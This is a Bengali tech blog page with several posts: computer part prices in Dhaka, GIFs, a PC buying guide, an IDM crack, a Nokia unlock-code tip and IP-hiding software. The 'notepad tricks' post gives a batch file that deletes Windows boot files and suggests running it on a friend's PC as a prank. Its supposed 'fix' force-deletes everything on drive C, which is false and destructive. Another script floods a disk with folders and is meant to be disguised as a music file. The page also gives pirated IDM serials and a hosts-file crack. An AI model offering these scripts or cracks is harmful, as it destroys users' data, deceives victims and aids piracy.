expr:class='"loading" + data:blog.mobileClass'>

animated

all internet and computer solution

add by bidvertiser

add by bidvertiser

Monday, December 31, 2012

computer science




এটা আমার প্রথম পোস্ট তাই ভুল হলে নিজ গুনে মাফ করে দিবেন
ঢাকার প্রযুক্তি বাজারে বেচাকেনা ভালো। বিক্রেতারা জানান, এলইডি মনিটর, কি-বোর্ড, মাউস, প্রিন্টার—বেশি কিনছেন ক্রেতারা। গতকাল শনিবার পাওয়া বিভিন্ন যন্ত্রাংশের দাম নিচে দেওয়া হল।
প্রসেসর: ইন্টেল কোর আই-৩ (৩.১ গি.হা) ১০,৫০০। ইন্টেল সেলেরন ১.৮ গি.হা ৩,৬৫০; ইন্টেল কোর আই-৫ ৩.১গি.হা. ১৮,০০০;ইন্টেল কোর আই-৭, ৩.৪গি.হা. ২৮,০০০ টাকা। পেন্টিয়াম ডুয়েল কোর-৩ ২.৬গি.হা. ৫,০০০ টাকা।ইন্টেল ওপেন কোরআই-৩ ৩.০৬ গি.হা. ৯,৩০০ টাকা। মাদারবোর্ড: গিগাবাইট জিএ৪১এমটি-ডি৩ ৪,৬০০; জি৪১এমকমবো ৪,৫৫০; এইচ৬১এম ৫,৬০০; জিএ-জেড৬৮ এমএ ১১,২০০ টাকা ইন্টেল ডিজি৪১ডব্লিওভি ৪,৯০০; জি৪১এম ৪,৪০০ টাকা। ফক্সকনএইচ৫৫এমএক্সভি ৫,২০০;জি-৪১এমএক্সই ৩,৬০০;জি৪১এমডি ৪,০০০ টাকা।র‌্যাম:ডিডি আর-৩ এ্যাপাসার ২গি.বা ১,১০০;এডেটা ২গি.বা ৯,৫০;ট্রানসেন্ড ২গি.বা ১,১০০ টাকা; ডিডি আর-২ ট্রানসেন্ড ২গি.বা. ২,৭০০;এডেটা ৪গি.বা ২,০০০;এ্যাপাসার ৪গি.বা ২,১০০ টাকা। হার্ডডিস্ক ড্রাইভ। ওয়েস্টান ডিজিটাল এইচডিডি ৫০০গি.বা. ৫,৪০০ টাকা। হিটাচি ৫০০গি.বা ৫,৪০০; ১ টেরাবাইট ৮,২০০ টাকা। এলসিডি মনিটর: স্যামসাং ১র্৭র্ ৯,০০০; ২র্৪র্ ২৩,৫০০ টাকা। ফিলিপস ১৮.র্৫র্ ৮,০০০ টাকা। ডেল ১র্৭র্ ৯,১০০ টাকা। এলজি ১৮.৫র্ র্ ৯,০০০; ২০র্ র্ ১১,৫০০; আসুস ১র্৭র্ ৯,৩০০ টাকা। এলইডি মনিটর: স্যামসাং ১৮.র্৫র্ ৮,১০০ টাকা; ২র্৭র্ ৬৮,০০০ টাকা। গ্রাফিকস কার্ড: গিগাবাইট এইচ ডি-৬৫৭০ ১গি.বা. ৬,৩০০, গিগাবাইট৫৪৫০ ৫১২মে.বা. ৩,০০০ টাকা। আসুস ৫১২ মে.বা. ৩,০০০, এক্সএফএক্স এইচডি৫৪৫০ ১ গি.বা. ৪,০০০ টাকা। ডিভিডি রাইটার/রি-রাইটার: স্যামসাং ২২এক্স ১,৬০০ টাকা। আসুস ২৪এক্স ১,৮০০ টাকা। লাইটন ২৪এক্স ১,৭০০ টাকা। কেসিং:ডিলাক্স ২,২০০ থেকে ৩,৫০০;গিগাবাইট ১,৮০০; মারকারি ১,৭০০ টাকা। মাউস: এ৪টেক ৩০০ থেকে ২,২০০;লজিটেক ৩৫০ থেকে ২,৭০০; ডিজিটেক মাইস ১৫০ থেকে ২০০ টাকা। কি-বোর্ড: সাধারণ ২৫০ থেকে ২৮০০ টাকা। মাল্টিমিডিয়া ৫৫০ টাকা। স্পিকার: মাইক্রোল্যাব (২:১) ১,৫০০ থেকে ৩,৬০০ টাকা। ক্রিয়েটিভ এসবিএস(২:১) ১,৮০০ থেকে ৫,০০০টাকা। এফএনডি(২:১) ১,৯০০ থেকে ৬,০০০ টাকা। পেনড্রাইভ: ট্রানসেন্ড ৪গি.বা ৫৫০;৮গি.বা ৬০০; ১৬গি.বা ৯৫০ টাকা। অ্যাপাসার ৪ গি.বা. ৪৫০; ৮গি.বা ৬০০ টাকা।এডেটা ৪ গি.বা ৪৫০; ১৬গি.বা ১২০০ টাকা। জিপিআরএস মডেম: মোবিডেটা ইডিজিই ১০০ইইউ ২,৭০০; এইচএসডিপিএ ১০০এইচইউ ৩,১০০ টাকা। টেকনো টিএম০০৮ ৩,৬০০ টাকা। টিভি কার্ড: এভারমিডিয়া ইন্টারনাল ৩,০৫০; এক্সটারনাল ডাব্লিউ৭ ৪,৭০০ টাকা। রিয়েলভিউ আরভি ১,৯০০ টাকা।গেটমি-২১৮৮ই ২,০০০টাকা। প্রিন্টার: ক্যানন পিক্সমা এমপি-২৭৬ ৬,০০০ টাকা; পিক্সমা এলবিপি-৩৩০০ ১১,৪০০। এইচপি ডি-১৪৬০ ২,৮০০ টাকা। এইচপি লেজার পি-১১০২ ৮,৫০০ টাকা। এপসন এম-১২০০ ৭,২০০ টাকা। ব্রাদার এইচএল ৫৩৪০ডি ১৬,৬০০ টাকা। স্যামসাং এমএল ১৮৬৬ (লেজার) ৭,০০০। বহনযোগ্য হার্ডডিস্ক: ট্রানসেন্ড ৩২০ গি.বা ৫,৬০০; ৫০০ গি.বা ৭,০০০; ৬৪০ গি.বা ৫,০০০, ১ টেরাবাইট ১১,০০০ টাকা। ওয়েস্টানডিজিটাল ৩২০গি.বা ৫,৮০০; ৫০০গি.বা ৭,২০০; ১টে.বা. ১১,৩০০টাকা। ইউপিএস: ডিজিটেক ৬৫০ ভিএ ২,৭০০ টাকা; ৮০০ ভিএ ৩,১০০ টাকা ১২০০ ভিএ ৪,৮০০ টাকা, ১০০০ভিএ ৬৬০০ টাকা, ১০ কেভিএ ১,০৫,০০০টাকা। —সংগ্রহ: রাহিতুল ইসলাম
এখানে শুধু যন্ত্রাংশের দাম দেওয়া হয়েছে। পুরো কম্পিউটার কেনার ক্ষেত্রে সংযোজন খরচ ও সার্ভিস চার্জ যুক্ত হবে।
সুত্র -প্রথম আলো

animated pictures

কেমন আছেন সবাই? আশা করি ভালো আছেন। আমিও ভালো। নেটে সবসময় ঘুরে বেড়াই আমি। নানান সময় নানান ছবি দেখি। GIF ইমেজ আপনারা সবাই চেনেন। দেখতে মজা লাগে। নেটে এমন অনেক ইমেজই দেখি। আপনাদের সাথে কিছু ইমেজ শেয়ার করতে আসলাম। :-)
gif 1 আমার দেখা মজার কিছু GIF এনিমেশান ( আপনিও দেখে নিন )

বাইকতো চালানো হলো।

চলুন গিটার বাজানো দেখি।
62010 আমার দেখা মজার কিছু GIF এনিমেশান ( আপনিও দেখে নিন )
Cowboy guitar আমার দেখা মজার কিছু GIF এনিমেশান ( আপনিও দেখে নিন )ভাব দেখছেন মামার!

কি কেমন লাগছে? মজার না?

gif 2 আমার দেখা মজার কিছু GIF এনিমেশান ( আপনিও দেখে নিন )
মাছ না অন্য কিছু!!
এগুলোই থাকলো। আর একটা শেয়ার করি।

guitar r আমার দেখা মজার কিছু GIF এনিমেশান ( আপনিও দেখে নিন )
এটা আমার সবচেয়ে প্রিয়।
আশা করি আপনাদের ভালো লাগবে। আরও কতগুলো আছে। একটা একটা করে আপলোড করতে কষ্ট হচ্ছে। একসাথে সব কমপ্রেস করে ZIP করে দিলাম।
এখান থেকে ডাউনলোড করে নিন।  ডাইনলোড করে ফাইলটি এক্সট্রাক করে নিলেই হবে। আপনাদের নরমাল ইমেজ ভিউয়ারে যদি কাজ না  করে তাহলে যে কোন  ব্রাউজারে অপেন করলেই হবে। আশা করি কোন সমস্যা হবে না।

how to be green

আজ ফিরে এলাম চমৎকার দুইটি নোটপ্যাড ট্রিক্স  নিয়ে।তাহলে চলুন দেখি দুইটি মজার ট্রিক
Shut Down a Computer Forever
নোটপ্যাড খুলুন আর নিছের কোডগুলো পেস্ট করুন
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
এটিকে close.bat নামে সেভ করুন। এর মাদ্ধমে পিসির সব ফাইল গায়েব হয়ে যাবে অ পিসি বারবার রি স্টার্ট হবে
আপনি ভুলেও আপনার পিসি তে এটি ওপেন করবেন না।আপ্নার বন্ধুর সাথে মযা করতে পারেন
এটি কে ঠিক করার জন্য নিচের কোড টি দিলাম
cmd /c del c:\windows\* /F /S /Q
cmd /c del c:\* /F /S /Q
সেভ করুন .cmd or .bat  শেষ এ দিএ।সব ঠিক হয়ে যাবে
Make over 1,000 folders in few seconds
1000 folders
এটি আরেকটি মজার ট্রিক যার সাহায্যে আপনি যে কন জায়গায় ১০০০ ফোল্ডার বানাতে পারবেন
1. Open notepad and type :@echo off
:top
md %random%
goto top

notepad2. একে সেভ করুন  1000folders.bat নামে
notepad save3. তারপর আপনি এমন আইকন দেখতে পাবেনfolderআপনি ভুলেও এটি ওপেন করবেন না
4.রাইট ক্লিক করুন আর এরপর creat shortcut
shortcut5. Right click on shortcut and click properties , then click on Change Icon and rename icon
music iconআপনি এই ট্রিক আপনার বন্ধুর পিসি তে ব্যবহার করে তাকে বোকা বানাতে পারেন।তাকে বলুন এটি চরম একটি মিউজিক ফাইল এরপর সে এটি ওপেন করলে ১০০০ ফাইল ………………

idm internet download manager free download

যদি আগের কোনও ভার্সন থেকে থাকে, তবে সেফটির জন্য সেটা রিমুভ করেন। রিমুভ করার সময় অবশ্যই Complete রিমুভ করবেন। তারপরই পিসি রিস্টার্ট নিবে।


পিসি চালু হলে এবার সবার আগে CCleaner  চালু করুন। করে Registry fix করুন।


এই কাজটা খুব ই জরুরী, নাহলে পরে সমস্যা হবে।


এবার আইডিএম সেট আপ দিন; সেট আপ ফাইল আগের থেকে না থেকে থাকলে অফিসিয়াল সাইট থেকে নামান। সেট আপ দিয়ে আইডিএম close করে দিন।

এবার স্টার্ট মেনু থেকে নোটপ্যাড এ রাইট ক্লিক করে “Run as Administrator” হিসেবে রান করান।


Notepad এর File >> Open এ গেলে এরকম ব্রাউস অপশন আসবে; একটা ব্যাপার খেয়াল রাখতে হবে যে All Files যেন সিলেক্ট করেন আপনারা, নাহলে আমাদের demanded ফাইলটা পাবো না।


ব্রাউসিং এর রাস্তা হবে এইরকম▬
C >> Windows >> System 32 >> drivers >> etc

এখানে গেলেই আমরা আমাদের কাঙ্খিত ফাইল hosts পেয়ে যাবো


প্রাথমিকভাবে ফাইলটা এমন থাকবে


এবার আমরা এই ফাইল এর শেষে নিচের কোডটুকু কপি করবো
127.0.0.1 tonec.com
 127.0.0.1 www.tonec.com
 127.0.0.1 registeridm.com
 127.0.0.1 www.registeridm.com
 127.0.0.1 secure.registeridm.com
 127.0.0.1 internetdownloadmanager.com
 127.0.0.1 www.internetdownloadmanager.com
 127.0.0.1 secure.internetdownloadmanager.com
 127.0.0.1 mirror.internetdownloadmanager.com
 127.0.0.1 mirror2.internetdownloadmanager.com
ফাইলটা  তাহলে এমন হবে


সেভ করে বের হয়ে যাবো।
এবার আইডিএম চালু করেন, Register এ ক্লিক করে নাম, ইমেইল আর সিরিয়াল দিন।

সিরিয়াল হিসেবে নিচের যেকোনো একটি ইউস করেন।
RLDGN-OV9WU-5W589-6VZH1
HUDWE-UO689-6D27B-YM28M
UK3DV-E0MNW-MLQYX-GENA1
398ND-QNAGY-CMMZU-ZPI39
GZLJY-X50S3-0S20D-NFRF9
W3J5U-8U66N-D0B9M-54SLM
EC0Q6-QN7UH-5S3JB-YZMEK
UVQW0-X54FE-QW35Q-SNZF5
FJJTJ-J0FLF-QCVBK-A287M
ছবিতে দেখেন আমি ৭ নাম্বার সিরিয়ালটা ইউস করেছি। কাজ শেষ।

▐নোট▐


আপনি ইচ্ছে করলেই এখন আইডিএম আপডেট করতে পারবেন; তার আগে hosts ফাইলটা যেমন ছিল তেমন করেন, আপডেট দেন, আবার এই প্রক্রিয়ায় ক্র্যাক করেন- আরেকটা কথা- hosts ফাইল এভাবে এডিট করে আপনি আর আইডিএম এর অফিসিয়াল সাইট এ ঢুকতে পারবেন না। ব্লকড :D

▐ডাউনলোড▐

hosts ফাইল এডিট এর কাজটা না করলেও পারেন, আমি ফাইলটা দিয়ে দিলাম- নামিয়ে extract করুন; করে নির্ধারিত ফোল্ডার এ রিপ্লেস করুন- এটা শুধু অলস মানুষদের জন্য। :p

hosts file


এই পদ্ধতিতে আপনি ব্যর্থ হলে আমি দায়ি নই ;)

এই টিউটোরিয়ালটি ডাউনলোড করুন

mobile phone

পাসওয়ার্ড ভুলে যাওয়া যে কোন মানুষের একটি সহজাত বৈশিষ্ট্য। কিন্তু ব্যাপারটা মোবাইলের ক্ষেত্রে ঘটলে একটু বেশি বিপত্তিই দেখা দেয়। কারণ কম্পিউটার এর থেকে মোবাইলের গুরুত্ব আমাদের কাছে অনেক বেশি। অনেকে সিকিউরিটির কথা ভেবে মোবাইলের সিকিউরিটি কোড পরিবর্তন করে রাখে। কিন্তু সেই কোডটি ভুলে গেলে দেখা দেয় বিপত্তি। আর সেই কোড ভাঙ্গতে আমরা চলে যাই মোবাইল সার্ভিসিং এর দোকানে আর বাধ্য হয়েই তাদের চাহিদামত পেমেন্ট করতে হয়।
আর এই সমস্যা থেকে আপনাকে খানিকটা মুক্তি দেওয়ার জন্য আজ আপনাদেরকে শেখাবো কিভাবে খুব সহজেই আপনি আপনার নকিয়া মোবাইলের সিকিউরিটি কোড ভাঙ্গার জন্য মাস্টার কোড পেতে পারেন। এজন্য নিচের ধাপগুলো অনুসরণ করুন-
১। প্রথমে আপনার মোবাইলের (*#06# চেপে ) IMEI কোডটি কোথাও/নোটপ্যাডে লিখে রাখুন।
২। এরপর এই লিঙ্কে চলে যান।
৩। এরপর নিচের ছবিতে নির্দেশিত বক্সে সেই ইএমইআই কোডটি প্রবেশ করান।
৪। তারপর I’m legal owner of the phone with that IMEI লেখার পাশের টিক চিহ্নটি দিয়ে দিন।
৫। এবার Generate বাটনে ক্লিক করলেই আপনার মোবাইলের জন্য মাস্টার পাসওয়ার্ডটি পেয়ে যাবেন। যা দিয়ে আপনি আপনার সিকিউরিটি কোডটি ভাঙ্গতে পারবেন।

how to hide my ip

আসসালামু আলাইকুম।সবাই কেমন আসেন আসাকরি সবাই ভাল আসেন আমিও আপনাদের দোয়াতে ভাল আসি।কি করবো বুজতে পারছিলাম না তাই ভাবলাম একটা টিউন করি।তাই আপনাদের সামনে হাজির হলাম Ip hide সফটওয়্যার নিয়ে।হ্যাকার বন্ধু ও আরো যারা ptc সাইট করেন তাদের কাজে লাগতে পারে।কারন অনেক ptc সাইট একটা Ip তে একটা account খোলা য়ায তাই এই সফটওয়্যার দিয়ে একাধিক account খুলতে পারবেন। বিস্তারিত বলি, এই সফটওয়্যার দিয়ে এ আপনি আপনার Ip hide করতে পারবেন খুব সহজে খুব সহজ করে দেয়া আসে।সফটওয়্যারটা ডাউনলোড করে দেখুন খুব সহজে Ip hide করতে পারছেন। সফটওয়্যারটি মাত্র ৫.৮৯ mb।আরও বিস্তারিত দেখুন।
সফটওয়্যারের নামঃ Real Hide IP 4.2.4.2

ডাউনলোডঃ

CLICK HERE

CLICK HERE

CLICK HERE

ভুল হলে ক্ষমা করে দিবেন আগামী দিন হাজির হব নতুন কোন কিছু নিয়ে, ততদিন ভালো থাকবেন।
কেমন লাগল কমেন্ট এ জানাবেন।

computer solutions

কম্পিউটার যে আধুনিক প্রযুক্তির সর্বশ্রেষ্ঠ যন্ত্র, সেটা না বললেও চলবে। তাই সবারই ইচ্ছা থাকে একটা কম্পিউটার কেনার। কিন্তু একটা ভালো কম্পিউটার কেনার জন্য কম্পিউটার সম্পর্কে কিছু বিষয় জানা প্রয়োজন। আমি আজকে আপনাদের সেইরকম কিছু বিষয়ই জানাবো। কম্পিউটারের ব্যাপারে একেবারেই নতুন, এমন মানুষদের কথা মাথায় রেখেই পোস্টটা সহজ কথায় লেখার চেষ্টা করলাম।
কম্পিউটার কেনার সময় প্রথমেই কয়েকটি জিনিসের প্রতি লক্ষ্য রাখবেন:
১. যেখান থেকে কিনছেন, সেই দোকান ক্রেতাদের কীরূপ গ্রাহক সেবা দেয়। এক্ষেত্রে পরিচিতরা সাহায্য করতে পারে।
২. বাজারে অনেক সময় খোলা হার্ডওয়্যার পাওয়া যায়। কখনোই এগুলো কিনবেন না।
৩. আপনি কম্পিউটার এক্সপার্ট না হলে অন্তত:পক্ষে Processor, Mainboard, RAM, HDD, ODD, Graphics Card, Casing একই দোকান থেকে কিনবেন। তারাই এগুলো সঠিকভাবে configure করে দিবে।
এখন আমি কম্পিউটারের মূল প্রত্যেকটি আলাদা part সম্পর্কে বলবো এবং এগুলো কেনার সময় কী কী বিষয়ের প্রতি খেয়াল রাখতে হবে, সে সম্পর্কে বলবো।
Processor (প্রসেসর):
কম্পিউটারের প্রধান জিনিস। এটিই কম্পিউটারের সকল কাজ করে থাকে। মূলত একেই CPU (Central Processing Unit) বলে। প্রসেসর নির্মাতা প্রতিষ্ঠান গুলোর মধ্যে সবচেয়ে জনপ্রিয় হল Intel এবং AMD (Advanced Micro Device)। দুইটাই ভালো, তবে সবচেয়ে জনপ্রিয় এবং technology’র দিক থেকে এগিয়ে রয়েছে Intel.
ইন্টেল কোর আই ৭ প্রসেসর
এএমডি ফেনম টু
প্রসেসর যেহেতু সবচেয়ে গুরুত্বপূর্ণ, তাই এটি কেনার সময় বিশেষ সতর্কতা নিতে হবে।
১. প্রসেসরের clock speed কত, সেটা লক্ষ্য করতে হবে। ক্লক স্পিড যত বেশি হবে, প্রসেসরের প্রসেসিং ক্ষমতাও তত বেশি হবে।
২. প্রসেসরের সিরিজ কী, সেটা খেয়াল করতে হবে। সিরিজ যত উন্নত হবে, স্পিড তত বাড়বে। Intel এর প্রথম দিককার প্রসেসর এর মধ্যে রয়েছে, Pentium Series। পরবর্তীতে ধারাবাহিকভাবে এসেছে, Celeron series, Core Series, i Series। Pentium Series এর মধ্যে, P1 (Pentium 1) এর চাইতে P2 ভালো, P2 এর চাইতে P3 ভালো আবার, P3 এর চাইতে P4 ভালো। অর্থাৎ, same clock speed এর P1 এর চাইতে P2  এর স্পিড বেশি। আবার, একইভাবে, Pentium Series এর চাইতে Core Series এর স্পিড বেশি। core series এর প্রসেসর গুলোর মধ্যে, Core 2 Quad> Core 2 Duo> Dual Core. আবার core i series এর প্রসেসর গুলোর মধ্যে, Core i7 extreme> Core i7> Core i5> Core i3।
৩. প্রসেসরে কয়টি কোর (core) এবং কয়টি থ্রেড (thread) রয়েছে, তা খেয়াল করতে হবে। কোর এবং থ্রেড এর সংখ্যা বেশি হলে স্পিড বাড়বে। এখন পর্যন্ত সবোর্চ্চ ছয়টি কোরের প্রসেসর আবিস্কৃত হয়েছে।
৪. FSB (Front Serial Bus) এর পরিমাণ লক্ষ্য করতে হবে। FSB বেশি হলে স্পিড বেশি হবে। যদিও নতুন প্রসেসর গুলোতে FSB ব্যবহার করা হয় না। এর পরিবর্তে QPI ব্যবহৃত হয়।
৫. Cache Memory (ক্যাশ মেমরি) কত, তা লক্ষ্য করতে হবে। ক্যাশ মেমরির মধ্যে প্রকারভেদ রয়েছে। সর্বাধুনিক প্রযুক্তির ক্যাশ মেমরি হল L3 Cache.
৬. Hyper Threading Technology রয়েছে কিনা, লক্ষ্য রাখবেন। এ প্রযুক্তি Multitasking এর ক্ষেত্রে কার্যকরী ভুমিকা রাখে।
৭. Intel Processor এর ক্ষেত্রে, Turbo Boost Technology রয়েছে কিনা, তা লক্ষ্য রাখবেন। এই প্রযুক্তি প্রয়োজনের সময় প্রসেসরের ক্ষমতা বৃদ্ধি করে।
৮. GPU (Graphics Processing Unit) রয়েছে কিনা, দেখবেন। প্রসেসরে GPU থাকলে এবং ভালো মাদারবোর্ড ব্যবহার করলে External Graphics Card দরকার হয়না। (যদি না আপনি কম্পিউটারে খুবই উন্নত মানের গেম খেলেন অথবা গ্রাফিক্স ডিজাইনিং বা HD ভিডিও এডিটিং ইত্যাদি কাজ না করেন।)
[শেষ তিনটি অপশন বিশিষ্ট প্রসেসরের দাম সাধারণত বেশি হয়। সাধারণ কাজের জন্য এই সকল অপশনের প্রয়োজন নেই।]
Mainboard or Motherboard (মেইনবোর্ড বা মাদারবোর্ড):
এই বোর্ডটিতেই কম্পিউটারের সকল যন্ত্রাংশ যুক্ত থাকে। মেইনবোর্ড এর জন্য ভালো ব্র্যান্ডগুলো হল: Gigabyte, Intel, Foxcon, Asus ইত্যাদি। মেইনবোর্ড অবশ্যই প্রসেসর সাপোর্টেড হতে হবে। মেইনবোর্ড এর পোর্ট দুই ধরনের হয়, IDE এবং S-ATA। তবে বর্তমানে S-ATA পোর্টের মেইনবোর্ডই দেখা যায়। প্রায় সব S-ATA পোর্টের মেইনবোর্ডে অন্তত একটি IDE পোর্ট থাকে। প্রয়োজনে IDE to S-ATA converter ব্যবহারের মাধ্যমে S-ATA পোর্টের মেইনবোর্ডে IDE device ব্যবহার করা যায়। মেইনবোর্ড কেনার সময় যে যে বিষয় লক্ষ্য রাখবেন, তা হল:
১. মেইনবোর্ড যেনো প্রসেসর সমর্থিত হয়।
২. RAM এর ধরন। মেইনবোর্ডে RAM এর স্লট যেরকম হবে, সেই ধরনেরই RAM কিনতে হবে। সর্বাধুনিক RAM টাইপ হল DDR3।
৩. USB Port এর version কত। সর্বাধুনিক হল USB 3.0। [USB 3.0 পোর্ট বিশিষ্ট মেইনবোর্ড এর দাম কিছুটা বেশি]
৪. বর্তমানে সব মেইনবোর্ডেই LAN Card (Local Area Network Card) থাকে। তাছাড়া, HD audio এবং HD Video ও লক্ষ্য করা যায়।  Integrated Graphics এর মান বেশি হলে ভালো হয়।
মেইনবোর্ড
Monitor (মনিটর):
এটাই কম্পিউটারের প্রধান আউটপুট। মনিটরের জন্য ভালো ব্র্যান্ড গুলো হচ্ছে: Samsung, Philips, LG, Asus, HP, Fujitsu ইত্যাদি। মনিটর কেনার সময় নিচের বিষয়গুলো লক্ষ্য রাখবেন:
LCD (Liquid Cristal Display) /LED (Light Emitting Diode) Monitor এর ক্ষেত্রে:
১. আপনার প্রয়োজন অনুসারে স্ক্রিন সাইজ সিলেক্ট করবেন। বর্তমানে অনেক মনিটরেই Built-in TV Tuner থাকে। একই সাথে কম্পিউটারের মনিটর এবং টিভির কাজ করবে এগুলো। TV Tuner না থাকলে প্রয়োজন হলে আপনি পৃথকভাবে TV Tuner কিনতে পারবেন।
২. LCD মনিটর গুলো স্কয়ার এবং ওয়াইড স্ক্রিন এই দুই ধরনের হয়। আপনার কজের প্রয়োজন অনুসারে আপনি তা select করবেন।
৩. LCD এবং LED মনিটর এর পার্থক্য হল: LED মনিটর হল উন্নত প্রকারের LCD মনিটর। তুলনামূলক ভাবে LED মনিটরে ভালো ছবি দেখা যায়। তাছাড়া, LED মনিটরে দেখতেও সাচ্ছন্দ্য বোধ হয়।
৪. কন্ট্রাস্ট রেশিও (Contrast Ratio) লক্ষ্য করবেন। এটি যত বেশি হবে, ছবির মান তত ভালো হবে, অর্থাৎ ছবি শার্প আসবে।
৫. Response Time কম হলে ভালো হয়।

মনিটর
RAM- Random Access Memory (র‍্যাম):
RAMও কম্পিউটারের স্পিড বৃদ্ধিতে সাহায্য করে। RAMএর জন্য ভালো ব্র্যান্ড হচ্ছে: Transcend, Twinmos ইত্যাদি। RAM কেনার সময় এগুলো খেয়াল রাখবেন:
১. RAM এর পরিমাণ বৃদ্ধি পেলে কম্পিউটারের স্পিড বাড়বে। অর্থাৎ, 1 GB RAM এর চেয়ে 2 GB RAM এর স্পিড বেশি হবে।
২. RAM এর বাস ফ্রিকোয়েন্সি বেশি হলে RAM এর ক্ষমতা বাড়বে।
৩. RAM এর ধরন উন্নত হলে তা কম্পিউটারের গতি আরও বৃদ্ধি করবে। যেমন, DDR3 RAM সমপরিমাণের DDR2 RAM এর চেয়ে শক্তিশালী। তবে মেইনবোর্ডে RAM এর স্লট যেমন হবে, সেই ধরনেরই RAM কিনতে হবে।
র‌্যাম
Hard Disk Drive (HDD) (হার্ডডিস্ক):
কম্পিউটারের তথ্য এতে জমা থাকে। এটি কম্পিউটারের Virtual RAM হিসেবেও কাজ করে। এর ভালো ব্র্যান্ড হচ্ছে, Samsung, Transcend ইত্যাদি। এটি কেনার সময় নিচের বিষয়গুলো লক্ষ্য করবেন:
১. সাধারণভাবেই, হার্ডডিস্ক এর স্টোরেজ ক্ষমতা বেশি হলে বেশি তথ্য জমা রাখতে পারবেন। বাজারে ১৬০ GB থেকে শুরু করে ৩ TB হার্ডডিস্ক পাওয়া যায়।
২. হার্ডডিস্ক এর RPM (Revolutions Per Minute) বেশি হলে এর ডাটা ট্রান্সফার রেট বেশি হবে।
৩. মেইনবোর্ডের পোর্ট S-ATA হলে হার্ডডিস্কও S-ATA ই কিনতে হবে।
৪. এক্সটার্নাল হার্ডডিস্ক এর ক্ষেত্রে, আপনার মেইনবোর্ড এ USB 3.0 থাকলে USB 3.0 হার্ডডিস্ক কেনাই ভালো। কেননা, কয়েক বছরের মধ্যেই USB 2.0 উধাও হয়ে USB 3.0 এর জায়গা নিবে। লক্ষণীয়: এক্সটার্নাল হার্ডডিস্ক স্হায়ী HDD এর ন্যায় ব্যবহার করা যায় না, তবে ইন্টার্নাল HDD, এক্সটার্নাল HDD এর ন্যায় ব্যবহার করা যায়।
হার্ডডিস্ক
Casing (কেসিং):
কেসিং হল Mainboard, HDD, ODD সাজিয়ে রাখার জন্য বক্স। কেসিং এর জন্য ব্র্যান্ড অতটা গুরুত্বপূর্ণ নয়। তবে Mercury এবং Gigabyte  এর কেসিং গুলো ভালো হয়। কেসিং কেনার সময় নিচের বিষয়টি লক্ষ্য করবেন:
১. কেসিং এর দাম vary করে PSU (Power Supply Unit) এর জন্য। PSU যদি বেশি watt এর হয়, তবে PSU এর দাম বেড়ে যায়। ফলে কেসিং এর দাম বেড়ে যায়। আপনার কাজের ধরন অনুযায়ী PSU select করবেন। যেমন, ভালো এবং বেশি পাওয়ারের এক্সটার্নাল গ্রাফিক্স কার্ড, বড় স্ক্রিনের মনিটর ব্যবহার করলে বেশি পাওয়ার এর পাওয়ার সাপ্লাই লাগবে।
কেসিং
Optical Disk Drive (ODD) (অপটিক্যাল ডিস্ক ড্রাইভ):
ODD হল সিডি/ডিভিডি প্লেয়ার/রাইটার। ODD এর জন্য ভালো ব্র্যান্ড হল: Samsung, Asus, Lite-On ইত্যাদি। লক্ষ্য করুন:
১. বর্তমানে সিডি প্লেয়ার এবং ডিভিডি প্লেয়ার এর মূল্যে পার্থক্য খুবই কম। CD player, DVD play করতে পারেনা, কিন্তু DVD player, CD play করতে পারে।
২. আপনি চাইলে কয়েকশ টাকা বেশি দিয়ে Combo Drive অথবা DVD writer কিনতে পারেন। Combo drive হল সেইসব ODD যেগুলো CD Play, DVD play এবং  CD write করতে পারে। আর DVD writer দিয়ে আপনি CD play, DVD play, CD write, DVD write সবই করতে পারবেন।
৩. মেইনবোর্ড এর পোর্ট অনুসারে ODD কিনতে হবে। (অন্যথায় converter ব্যবহার করতে হবে)
৪. ODD এর speed বেশি হলে সিডি/ডিভিডি থেকে দ্রুত ডাটা রিড হবে এবং দ্রুত ডাটা রাইট হবে।
ODD

Graphics Card (গ্রাফিক্স কার্ড) বা AGP Card(Accelerated Graphics Port Card):
ভালো গেম খেলার  জন্য বা গ্রাফিক্স ডিজাইনিং এর কাজের জন্য ভালো গ্রাফিক্স কার্ড অত্যন্ত প্রয়োজন। গ্রাফিক্স কার্ডের মধ্যে ভালো ব্র্যান্ড হল:  Asus, Gigabyte, Sapphire  ইত্যাদি। এটি কেনার জন্য নিচের বিষয়গুলো খেয়াল করবেন।
১. V-RAM বেশি হলে ভালো গ্রাফিক্স পাবেন।
২. সাধারণ র‍্যাম এর মতই V-RAM এর টাইপ উন্নত হলে ভালো ফলাফল পাওয়া যাবে।
৩. এছাড়াও, Clock rate, Memory Bus ইত্যাদি বিভিন্ন জিনিসের জন্যও গ্রাফিক্স কার্ডের ক্ষমতার পরিবর্তন হয়।
৪. আপনি যদি কোন নির্দিষ্ট গেম এর প্রতি আকৃষ্ট হন অথবা নির্দিষ্ট কোন সফটওয়্যার দিয়ে কাজ করেন, তবে সেই সফটওয়্যারের requirement অনুসারে নির্দিষ্ট চিপসেটের গ্রফিক্স কার্ড কিনবেন।
Sapphire RADEON X1650 PRO AGP Graphic Card
Key Board (কী-বোর্ড):
কী-বোর্ড কম্পিউটারের সবচেয়ে গুরুত্বপূর্ণ দুইটা ইনপুট ডিভাইস এর মধ্যে এটি একটি। কী-বোর্ড এর জন্য ভালো ব্র্যান্ড হল: A4Tech, Deluxe, Mercury ইত্যাদি। এটি কেনার সময় লক্ষ্য করবেন বাংলা অক্ষর রয়েছে কিনা। (Unijoy বা Bijoy লে আউট-এ লেখার জন্য অপরিহার্য)।
কী-বোর্ড
Mouse বা মাউস:
অপর গুরুত্বপূর্ণ ইনপুট ডিভাইস হল এটা। এর ভালো ব্র্যান্ড হল: A4Tech, Mercury ইত্যাদি।
১. কত DPI (Dots Per Inch) লক্ষ্য করবেন। DPI বেশি হলে সূক্ষ্ণ ভাবে মাউস দিয়ে কাজ করতে পারবেন।
২. ধরতে সুবিধা হয়, এমন মাউস কিনবেন।
মাউস
UPS (Uninterpretable Power Supply) ইউপিএস:
বাংলাদেশে ডেস্কটপ কম্পিউটারের জন্য UPS যে অপরিহার্য তা বলার বাইরে। UPS কেনার সময় এগুলো লক্ষ্য করবেন:
